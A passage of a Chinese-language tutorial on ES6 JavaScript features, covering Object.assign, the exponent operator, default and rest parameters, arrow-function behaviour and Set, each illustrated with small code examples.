class="string">&#x27;abc&#x27;</span>, <span class="string">&#x27;abc&#x27;</span>); <span class="comment">// true</span></span><br></pre></td></tr></table></figure><p>判断两个数组是否相等</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">[] === []; <span class="comment">// false</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">is</span>([], []); <span class="comment">// false</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 解析：两个数组引用的是两个不同的地址</span></span><br></pre></td></tr></table></figure><p>拷贝对象</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Object</span>.<span class="title function_">assign</span>(&#123;<span class="attr">a</span>: <span class="number">1</span>&#125;, &#123;<span class="attr">b</span>: <span class="number">2</span>&#125;); <span class="comment">// &#123;a: 1, b: 2&#125;  浅拷贝</span></span><br></pre></td></tr></table></figure><p>遍历对象</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"><span class="keyword">const</span> obj = &#123;<span class="attr">a</span>: <span class="number">1</span>, <span class="attr">b</span>: <span class="number">2</span>, <span class="attr">c</span>: <span class="number">3</span>&#125;;</span><br><span class="line">  <span class="keyword">for</span>(<span class="keyword">let</span> [key, value] <span class="keyword">of</span> <span class="title class_">Object</span>.<span class="title function_">entries</span>(obj)) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>([key, value]);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// [&#x27;a&#x27;, 1]</span></span><br><span class="line"><span class="comment">// [&#x27;b&#x27;, 2]</span></span><br><span class="line"><span class="comment">// [&#x27;c&#x27;, 3]</span></span><br></pre></td></tr></table></figure><p><strong>Object.assign()</strong></p><p>Object.assign方法用于对象的合并，将源对象（source）的所有可枚举属性，复制到目标对象（target）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> target = &#123; <span class="attr">a</span>: <span class="number">1</span> &#125;;</span><br><span class="line"><span class="keyword">const</span> source1 = &#123; <span class="attr">b</span>: <span class="number">2</span> &#125;;</span><br><span class="line"><span class="keyword">const</span> source2 = &#123; <span class="attr">c</span>: <span class="number">3</span> &#125;;</span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">assign</span>(target, source1, source2);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(target); <span class="comment">// &#123;a: 1, b: 2, c: 3&#125;</span></span><br></pre></td></tr></table></figure><p>Object.assign方法的第一个参数是目标对象，后面的参数都是源对象。</p><p><strong>注意，如果目标对象与源对象有同名属性，或多个源对象有同名属性，则后面的属性会覆盖前面的属性。</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> target = &#123; <span class="attr">a</span>: <span class="number">1</span>, <span class="attr">b</span>: <span class="number">1</span> &#125;;</span><br><span class="line"><span class="keyword">const</span> source1 = &#123; <span class="attr">b</span>: <span class="number">2</span>, <span class="attr">c</span>: <span class="number">2</span> &#125;;</span><br><span class="line"><span class="keyword">const</span> source2 = &#123; <span class="attr">c</span>: <span class="number">3</span> &#125;;</span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">assign</span>(target, source1, source2);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(target); <span class="comment">// &#123;a: 1, b: 2, c: 3&#125;</span></span><br></pre></td></tr></table></figure><p>Object.assign 方法实行的是浅拷贝，而不是深拷贝</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> obj1 = &#123;<span class="attr">a</span>: &#123;<span class="attr">b</span>: <span class="number">1</span>&#125;&#125;;</span><br><span class="line"><span class="keyword">const</span> obj2 = <span class="title class_">Object</span>.<span class="title function_">assign</span>(&#123;&#125;, obj1);</span><br><span class="line">obj1.<span class="property">a</span>.<span class="property">b</span> = <span class="number">2</span>; <span class="comment">// 修改b</span></span><br><span class="line">obj2.<span class="property">a</span>.<span class="property">b</span>; <span class="comment">// 2, 也改变了 </span></span><br></pre></td></tr></table></figure><p>上面代码中，源对象 obj1 的 a 属性的值是一个对象，Object.assign 拷贝得到的是这个对象的引用。这个对象的任何变化，都会反映到目标对象上面</p><h1 id="数值的扩展"><a href="#数值的扩展" class="headerlink" title="数值的扩展"></a>数值的扩展</h1><p><strong>指数运算符</strong></p><p>ES2016 新增了一个指数运算符（**）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">2</span> ** <span class="number">2</span>; <span class="comment">// 4</span></span><br><span class="line"><span class="number">2</span> ** <span class="number">3</span>; <span class="comment">// 8</span></span><br><span class="line"><span class="number">2</span> ** <span class="number">3</span> ** <span class="number">2</span>; <span class="comment">// 512  相当于=&gt;  2 ** (3 ** 2)</span></span><br></pre></td></tr></table></figure><p>这个运算符的一个特点是右结合，而不是常见的左结合。多个指数运算符连用时，是从最右边开始计算的</p><p>指数运算符可以与等号结合，形成一个新的赋值运算符（**=）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> a = <span class="number">1.5</span>;</span><br><span class="line">a **= <span class="number">2</span>;</span><br><span class="line"><span class="comment">// 等同于 a = a * a;</span></span><br><span class="line"><span class="keyword">let</span> b = <span class="number">4</span>;</span><br><span class="line">b **= <span class="number">3</span>;</span><br><span class="line"><span class="comment">// 等同于 b = b * b * b;</span></span><br></pre></td></tr></table></figure><h1 id="函数的扩展"><a href="#函数的扩展" class="headerlink" title="函数的扩展"></a>函数的扩展</h1><h2 id="默认参数"><a href="#默认参数" class="headerlink" title="默认参数"></a>默认参数</h2><p>ES6 之前，不能直接为函数的参数指定默认值，只能采用变通的方法</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  b = b || <span class="number">2</span>;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a, b);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(<span class="number">1</span>); <span class="comment">// 1 2</span></span><br></pre></td></tr></table></figure><p>ES6 允许为函数的参数设置默认值，即直接写在参数定义的后面</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a, b = <span class="number">2</span></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a, b);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">fn</span>(<span class="number">1</span>); <span class="comment">// 1 2</span></span><br><span class="line"><span class="title function_">fn</span>(<span class="number">1</span>, <span class="number">3</span>); <span class="comment">// 1 3</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Point</span>(<span class="params">a = <span class="number">0</span>, b = <span class="number">0</span></span>) &#123;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">a</span> = a;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">b</span> = b;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> p = <span class="keyword">new</span> <span class="title class_">Point</span>();</span><br><span class="line">p; <span class="comment">// &#123; a: 0, b: 0 &#125;</span></span><br></pre></td></tr></table></figure><p>参数变量是默认声明的，所以不能用<code>let</code>或<code>const</code>再次声明</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a = <span class="number">3</span></span>) &#123;</span><br><span class="line">  <span class="keyword">let</span> a = <span class="number">1</span>; <span class="comment">// 报错</span></span><br><span class="line">  <span class="keyword">const</span> a = <span class="number">2</span>; <span class="comment">// 报错</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>与解构赋值默认值结合使用</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">&#123;a, b = <span class="number">5</span>&#125;</span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a, b);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">fn</span>(&#123;&#125;); <span class="comment">// undefined 5</span></span><br><span class="line"><span class="title function_">fn</span>(&#123;<span class="attr">a</span>: <span class="number">1</span>&#125;); <span class="comment">// 1 5</span></span><br><span class="line"><span class="title function_">fn</span>(&#123;<span class="attr">a</span>: <span class="number">1</span>, <span class="attr">b</span>: <span class="number">2</span>&#125;); <span class="comment">// 1 2</span></span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// 报错</span></span><br></pre></td></tr></table></figure><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">&#123;a, b = <span class="number">5</span>&#125; = &#123;&#125;</span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a, b);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// undefined 5</span></span><br></pre></td></tr></table></figure><p><strong>参数默认值位置</strong></p><p>通常情况下，定义了默认值的参数，应该是函数的尾参数</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a = <span class="number">1</span>, b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> [a, b];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// [1, undefined]</span></span><br><span class="line"><span class="title function_">fn</span>(<span class="number">2</span>); <span class="comment">// [2, undefined])</span></span><br><span class="line"><span class="title function_">fn</span>(, <span class="number">1</span>); <span class="comment">// 报错</span></span><br><span class="line"><span class="title function_">fn</span>(<span class="literal">undefined</span>, <span class="number">1</span>); <span class="comment">// [1, 1]</span></span><br></pre></td></tr></table></figure><p>上面代码中，有默认值的参数都不是尾参数。这时，无法只省略该参数，而不省略它后面的参数，除非显式输入<code>undefined</code></p><p>如果传入<code>undefined</code>，将触发该参数等于默认值，<code>null</code>则没有这个效果</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a = <span class="number">5</span>, b = <span class="number">6</span></span>) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a, b);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">fn</span>(<span class="literal">undefined</span>, <span class="literal">null</span>)</span><br><span class="line"><span class="comment">// 5 null</span></span><br></pre></td></tr></table></figure><p>上面代码中，<code>x</code>参数对应<code>undefined</code>，结果触发了默认值，<code>y</code>参数等于<code>null</code>，就没有触发默认值</p><h2 id="rest-参数"><a href="#rest-参数" class="headerlink" title="rest 参数"></a>rest 参数</h2><p>ES6 引入 <code>rest</code>参数（形式为…变量名），用于获取函数的多余参数，这样就不需要使用 arguments 对象了。rest 参数搭配的变量是一个数组，该变量将多余的参数放入数组中</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">add</span>(<span class="params">...values</span>) &#123;</span><br><span class="line"> <span class="keyword">let</span> sum = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">let</span> val <span class="keyword">of</span> values) &#123;</span><br><span class="line">   sum += val;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">return</span> sum;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">add</span>(<span class="number">2</span>, <span class="number">5</span>, <span class="number">3</span>); <span class="comment">// 10</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">add</span>(<span class="params">a, ...values</span>) &#123;</span><br><span class="line"> <span class="keyword">let</span> sum = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">let</span> val <span class="keyword">of</span> values) &#123;</span><br><span class="line">   sum += val;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">return</span> sum;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">add</span>(<span class="number">2</span>, <span class="number">5</span>, <span class="number">3</span>); <span class="comment">// 8   因为a = 2, ...values = [5, 3]</span></span><br></pre></td></tr></table></figure><p>上面代码的 add 函数是一个求和函数，利用 rest 参数，可以向该函数传入任意数目的参数。</p><p>注意，<strong>rest 参数之后不能再有其他参数</strong>（即只能是最后一个参数），否则会报错</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 报错</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a, ...b, c</span>) &#123;</span><br><span class="line"><span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="箭头函数（ES6）"><a href="#箭头函数（ES6）" class="headerlink" title="箭头函数（ES6）"></a>箭头函数（ES6）</h2><h3 id="箭头函数语法"><a href="#箭头函数语法" class="headerlink" title="箭头函数语法"></a>箭头函数语法</h3><p>总结：</p><p>箭头函数相当于匿名函数，所以需要变量接收</p><p>如果参数只有一个，不需要括号，参数没有或者多个则需要括号</p><p>如果代码块部分多于一条语句，需要大括号{}</p><p>如果需要返回一个对象，必须在对象外面加上括号</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">f</span> = (<span class="params"></span>) =&gt; <span class="string">&#x27;hello&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 等同于</span></span><br><span class="line"><span class="keyword">var</span> <span class="title function_">f</span> = (<span class="params"></span>) =&gt; &#123; <span class="keyword">return</span> <span class="string">&#x27;hello&#x27;</span> &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 等同于</span></span><br><span class="line"><span class="keyword">var</span> f = <span class="keyword">function</span>(<span class="params"></span>) &#123; <span class="keyword">return</span> <span class="string">&#x27;hello&#x27;</span> &#125;</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ES5</span></span><br><span class="line"><span class="keyword">var</span> f = <span class="keyword">function</span>(<span class="params">a, b</span>) &#123; <span class="keyword">return</span> a * b &#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ES6</span></span><br><span class="line"><span class="keyword">var</span> <span class="title function_">f</span> = (<span class="params">a, b</span>) =&gt; a * b;</span><br></pre></td></tr></table></figure><p>当箭头函数只有一个参数时，可以省略括号，直接写参数名</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">f</span> = a =&gt; a;</span><br></pre></td></tr></table></figure><p>当箭头函数没有参数或者多个参数是，不能省略括号</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">f</span> = (<span class="params"></span>) =&gt; <span class="string">&#x27;hello&#x27;</span>;</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">sum</span> = (<span class="params">a, b</span>) =&gt; a + b;</span><br></pre></td></tr></table></figure><p>当箭头函数的代码块部分多于一条语句，就要使用 <code>{}</code> 将它们括起来，并且使用 <code>return</code> 语句返回</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">sum</span> = (<span class="params">a, b</span>) =&gt; &#123; </span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line">  <span class="keyword">return</span> a + b; </span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">sum</span>(<span class="number">1</span>, <span class="number">2</span>);</span><br><span class="line"><span class="comment">// hello</span></span><br><span class="line"><span class="comment">// 3</span></span><br></pre></td></tr></table></figure><p>由于大括号被解释为代码块，所以如果箭头函数直接返回一个对象，必须在对象外面加上括号，否则会报错</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="title function_">getObj</span> = id =&gt; (&#123; <span class="attr">id</span>: id, <span class="attr">name</span>: <span class="string">&#x27;aaa&#x27;</span> &#125;);</span><br></pre></td></tr></table></figure><h3 id="箭头函数示例"><a href="#箭头函数示例" class="headerlink" title="箭头函数示例"></a>箭头函数示例</h3><p>箭头函数可以与变量解构结合使用</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title function_">getName</span> = (<span class="params">&#123; first, last &#125;</span>) =&gt; first + <span class="string">&#x27; &#x27;</span> + last;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 等同于</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">getName</span>(<span class="params">person</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> person.<span class="property">first</span> + <span class="string">&#x27; &#x27;</span> + person.<span class="property">last</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>箭头函数使得表达更加简洁。</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title function_">iseven</span> = n =&gt; n % <span class="number">2</span> === <span class="number">0</span></span><br><span class="line"><span class="keyword">const</span> <span class="title function_">square</span> = n =&gt; n * n</span><br></pre></td></tr></table></figure><p>箭头函数的一个用处是简化回调函数。</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 正常函数写法</span></span><br><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>].<span class="title function_">map</span>(<span class="keyword">function</span>(<span class="params">i</span>) &#123; </span><br><span class="line">    <span class="keyword">return</span> i * i;</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 箭头函数写法</span></span><br><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>].<span class="title function_">map</span>(<span class="function"><span class="params">i</span> =&gt;</span> i * i);</span><br></pre></td></tr></table></figure><p>另一个例子是</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 正常函数写法</span></span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">sort</span>(<span class="keyword">function</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> a - b;</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 箭头函数写法</span></span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">sort</span>(<span class="function">(<span class="params">a, b</span>) =&gt;</span> a - b);</span><br></pre></td></tr></table></figure><p>下面是 rest 参数与箭头函数结合的例子</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title function_">f</span> = (<span class="params">...a</span>) =&gt; a;</span><br><span class="line"></span><br><span class="line"><span class="title function_">f</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>)</span><br><span class="line"><span class="comment">// [1, 2, 3, 4, 5]</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> <span class="title function_">f</span> = (<span class="params">a, ...b</span>) =&gt; [a, b];</span><br><span class="line"></span><br><span class="line"><span class="title function_">fn</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>)</span><br><span class="line"><span class="comment">// [1, [2, 3, 4, 5]]</span></span><br></pre></td></tr></table></figure><p>注意: 函数体内的 this 对象，就是定义时所在的对象，而不是使用时所在的对象</p><p><code>this</code> 对象的指向是可变的，但是在箭头函数中，它是固定的</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">foo</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;id:&#x27;</span>, <span class="variable language_">this</span>.<span class="property">id</span>);</span><br><span class="line">  &#125;, <span class="number">100</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">let</span> id = <span class="number">21</span>;</span><br><span class="line">foo.<span class="title function_">call</span>(&#123; <span class="attr">id</span>: <span class="number">42</span> &#125;);</span><br><span class="line"><span class="comment">// id: 42</span></span><br></pre></td></tr></table></figure><p>上面代码中，setTimeout 的参数是一个箭头函数，这个箭头函数的定义生效是在 foo 函数生成时，而它的真正执行要等到 100 毫秒后。如果是普通函数，执行时 this 应该指向全局对象window，这时应该输出 21。但是，箭头函数导致 this 总是指向函数定义生效时所在的对象（本例是{ id: 42}），所以输出的是 42。</p><h3 id="箭头函数特性"><a href="#箭头函数特性" class="headerlink" title="箭头函数特性"></a>箭头函数特性</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">* 没有 <span class="variable language_">this</span>  <span class="variable language_">super</span>  <span class="variable language_">arguments</span></span><br><span class="line">* 不可以当作构造函数，也就不能通过 <span class="keyword">new</span> 关键字调用</span><br><span class="line">* 没有原型属性 prototype</span><br><span class="line">* 不可以改变 <span class="variable language_">this</span> 指向</span><br><span class="line">* 不支持重复的命名参数</span><br><span class="line"></span><br><span class="line">注意：箭头函数和传统函数一样都有一个 name 属性，这一点是不变的</span><br></pre></td></tr></table></figure><p><strong><code>this指向的固定化，并不是因为箭头函数内部有绑定this的机制，实际原因是箭头函数根本没有自己的this，导致内部的this就是外层代码块的this。正是因为它没有this，所以也就不能用作构造函数</code></strong></p><p><strong>箭头函数没有this，只能从上下文获取this</strong></p><p>箭头函数的<code>this</code>值，取决于函数外部非箭头函数的<code>this</code>值，如果上一层还是箭头函数，那就继续往上找，如果找不到那么<code>this</code>就是<code>Window</code>对象</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> person = &#123;</span><br><span class="line">    <span class="attr">f1</span>: <span class="function">() =&gt;</span> &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>)</span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="attr">f2</span>: <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="function">() =&gt;</span> &#123; <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>) &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">person.<span class="title function_">f1</span>();  <span class="comment">// Window</span></span><br><span class="line">person.<span class="title function_">f2</span>()();  <span class="comment">// person对象</span></span><br></pre></td></tr></table></figure><p><strong>箭头函数没有arguments对象</strong></p><p>箭头函数也没有<code>arguments</code>对象，但是如果它外层还有一层非箭头函数的话，就会去找外层的非箭头函数的<code>arguments</code>对象，注意：箭头函数找arguments对象只会找外层非箭头函数的函数，如果外层是一个非箭头函数的函数如果它也没有arguments对象也会中断返回，就不会在往外层去找了，如下</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">f1</span> = (<span class="params"></span>) =&gt; <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">arguments</span>);  <span class="comment">// 执行该函数会抛出错误</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">f2</span>(<span class="params">a, b, c</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="function">() =&gt;</span> &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">arguments</span>); <span class="comment">// [1, 2, 3]</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f2</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>)();</span><br></pre></td></tr></table></figure><p>可以清楚的看到当前的箭头函数没有<code>arguments</code>对象，然而就去它的外层去找非箭头函数的函数。``</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="function">() =&gt;</span> &#123;</span><br><span class="line">            <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">arguments</span>); <span class="comment">// []</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(<span class="number">1</span>)()();</span><br></pre></td></tr></table></figure><p>上面示例中可以看到，里面的箭头函数往外层找非箭头函数的函数，然后不管外层这个函数有没有<code>arguments</code>对象都会返回。只要它是非箭头函数就可以，如果外层是箭头函数还会继续往外层找</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">f</span> = (<span class="params">...a</span>) =&gt; <span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line"><span class="title function_">f</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>); <span class="comment">// [1, 2, 3]</span></span><br></pre></td></tr></table></figure><p><strong>箭头函数不能用<code>new</code>关键字声明</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">Fn</span> = (<span class="params"></span>) =&gt; &#123;&#125;;</span><br><span class="line"><span class="keyword">new</span> <span class="title class_">Fn</span>(); <span class="comment">// 抛出错误，找不到constructor对象</span></span><br></pre></td></tr></table></figure><p><strong>箭头函数没有原型<code>prototype</code></strong></p><p>箭头函数没有原型，有可能面试官会问，<code>JavaScript</code>中所有的函数都有<code>prototype</code>属性吗</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">fn</span> = (<span class="params"></span>) =&gt; &#123;&#125;;</span><br><span class="line">fn.<span class="property"><span class="keyword">prototype</span></span>; <span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><p><strong>箭头函数不能改变<code>this</code>指向</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> person = &#123;&#125;;</span><br><span class="line"><span class="keyword">var</span> <span class="title function_">fn</span> = (<span class="params"></span>) =&gt; <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>);</span><br><span class="line"></span><br><span class="line">fn.<span class="title function_">bind</span>(person)(); <span class="comment">// Window (不是person)</span></span><br><span class="line">fn.<span class="title function_">call</span>(person); <span class="comment">// Window (不是person)</span></span><br><span class="line">fn.<span class="title function_">apply</span>(person); <span class="comment">// Window (不是person)</span></span><br></pre></td></tr></table></figure><h3 id="箭头函数和普通函数的区别"><a href="#箭头函数和普通函数的区别" class="headerlink" title="箭头函数和普通函数的区别"></a>箭头函数和普通函数的区别</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">* 相比普通函数, 箭头函数有更简洁的语法</span><br><span class="line">* 箭头函数不绑定 <span class="variable language_">this</span> ，会捕获其所在的上下文的 <span class="variable language_">this</span> 值，作为自己的 <span class="variable language_">this</span> 值</span><br><span class="line">* 箭头函数是匿名函数, 不能作为构造函数，不可以使用 <span class="keyword">new</span> 命令，否则会抛出一个错误</span><br><span class="line">* 箭头函数没有 <span class="variable language_">arguments</span>，取而代之用 rest参数...解决</span><br><span class="line">* 箭头函数的 <span class="variable language_">this</span> 永远指向其上下文的 <span class="variable language_">this</span> ，任何方法都改变不了其指向，如 <span class="title function_">call</span>()、<span class="title function_">bind</span>()、<span class="title function_">apply</span>() ，可以说正是因为没有自己的 <span class="variable language_">this</span></span><br><span class="line">* 箭头函数没有原型属性 prototype</span><br></pre></td></tr></table></figure><h1 id="Set"><a href="#Set" class="headerlink" title="Set"></a>Set</h1><blockquote><p>ES6 提供了新的数据结构 Set，它类似于数组，但是成员的值都是唯一的，没有重复的值</p></blockquote><p>Set 本身是一个构造函数，用来生成 Set 数据结构（既然是构造函数，肯定需要new）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> s = <span class="keyword">new</span> <span class="title class_">Set</span>();</span><br><span class="line">[<span class="number">2</span>, <span class="number">3</span>, <span class="number">5</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">2</span>, <span class="number">2</span>].<span class="title function_">forEach</span>(<span class="function"><span class="params">i</span> =&gt;</span> s.<span class="title function_">add</span>(i));</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> i <span class="keyword">of</span> s) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(i);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 2 3 5 4</span></span><br></pre></td></tr></table></figure><p>去除数组的重复成员</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> set = <span class="keyword">new</span> <span class="title class_">Set</span>([<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">4</span>]);</span><br><span class="line">[...set];</span><br><span class="line"><span class="comment">// [1, 2, 3, 4]</span></span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> arr = [<span class="number">1</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">4</span>];</span><br><span class="line">[...<span class="keyword">new</span> <span class="title class_">Set</span>(arr)];</span><br><span class="line"><span class="comment">// [1, 2, 3, 4]</span></span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> arr = [<span class="number">1</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span 